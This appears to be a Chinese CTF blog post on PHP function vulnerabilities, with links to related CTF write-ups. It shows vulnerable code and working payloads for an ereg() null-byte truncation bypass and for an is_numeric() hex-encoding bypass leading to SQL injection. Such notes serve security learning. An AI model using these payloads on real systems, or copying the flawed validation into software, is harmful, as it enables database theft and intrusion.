CTF web题总结--php函数漏洞

php函数漏洞总结
1、ereg()截断漏洞
代码：

<?php
session_start();
if (isset($_POST['submit'])) {$verifycode = $_POST['verifycode'];$b = false;if (@ereg("^[1-9]+$", $verifycode) === FALSE){$b = false;echo 'b is false';}else if (strpos($verifycode, 'xiaoboshifudaiwofei') !== FALSE)   {$b = true;echo 'b is true';}
}
?>

payload：

9%00xiaoboshifudaiwofei

2、is_numeric()漏洞
代码：

 if(!is_numeric($page)){die("page must be a number!");   }if($page<1) $page=1;$sql="update page set num=$page";$res=mysql_my_query($sql);if($res){echo "<script>alert('update  success!');</script>";echo("<script>location.href='./index.php?action=admin&mode=index'</script>");}else{echo "<script>alert('update  fail!');</script>";die();}

php 5.x 版本中 is_numeric 的缺陷 (php7.0 已经修复了 ), 它认为 0x…. 是整数

import binascii
a='1 union all select flag,flag,flag,flag from flags'
binascii.hexlify(a)
3120756e696f6e20616c6c2073656c65637420666c61672c666c61672c666c61672c666c61672066726f6d20666c616773

page:

0x3120756e696f6e20616c6c2073656c65637420666c61672c666c61672c666c61672c666c61672066726f6d20666c616773

CTF web题总结--php函数漏洞相关推荐

CTF Web题部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...
i春秋python_i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
hxp 36C3 CTF Web题 WriteupBin Writeup (Selenium模拟点击+Content Security Policy+Nonce+Parsley.js触发错误提示)
WriteupBin – A web challenge from hxp 36C3 CTF https://ctftime.org/event/825 题目部署本地搭建: 解压WriteupBin ...
CTF web题总结--LFI
本地文件包含漏洞(Local File Include),是php的include()函数存在设计缺陷,学习链接:php文件包含漏洞总结题目的url都是类似这种: http://127.0.0.1/ ...
CTF web题 wp：
1.签到题火狐F12查看源码,发现注释: 一次base64解码出flag 2.Encode 在这里插入图片描述和第一题界面一样?? 轻车熟路f12: 发现编码: 格式看上去是base64,连续两次 ...
mysql 南邮ctf_南邮ctf web题记录（上）
1.签到题 f12看源码就行了. md5 collision 题目贴出了源码,按照题意,a不等于QNKCDZO但是md5与QNKCDZO的md5相等时就可以获得flag. 如果两个字符经MD5加密后的 ...
CTF pwn题之格式化字符串漏洞详解
格式化字符串漏洞详解概念如何利用基本利用方式讲解常用payload总结 pwntools -- FmtStr类求偏移地址泄露任意地址写一个例子总结概念格式化字符串漏洞的成因在 ...
CTF Web题部分PHP魔术方法总结（Magic Methods）
几个常见的PHP魔术方法简单介绍详细介绍 __sleep() __wakeup() __get() __set() __isset() __unset() __construct() __dest ...
CTF web题总结--unserizable
php的反序列化漏洞代码: <?php class Person {private static $defaults = ['name' => null,'gender' => n ...

CTF web题总结--php函数漏洞

CTF web题总结--php函数漏洞相关推荐

最新文章

热门文章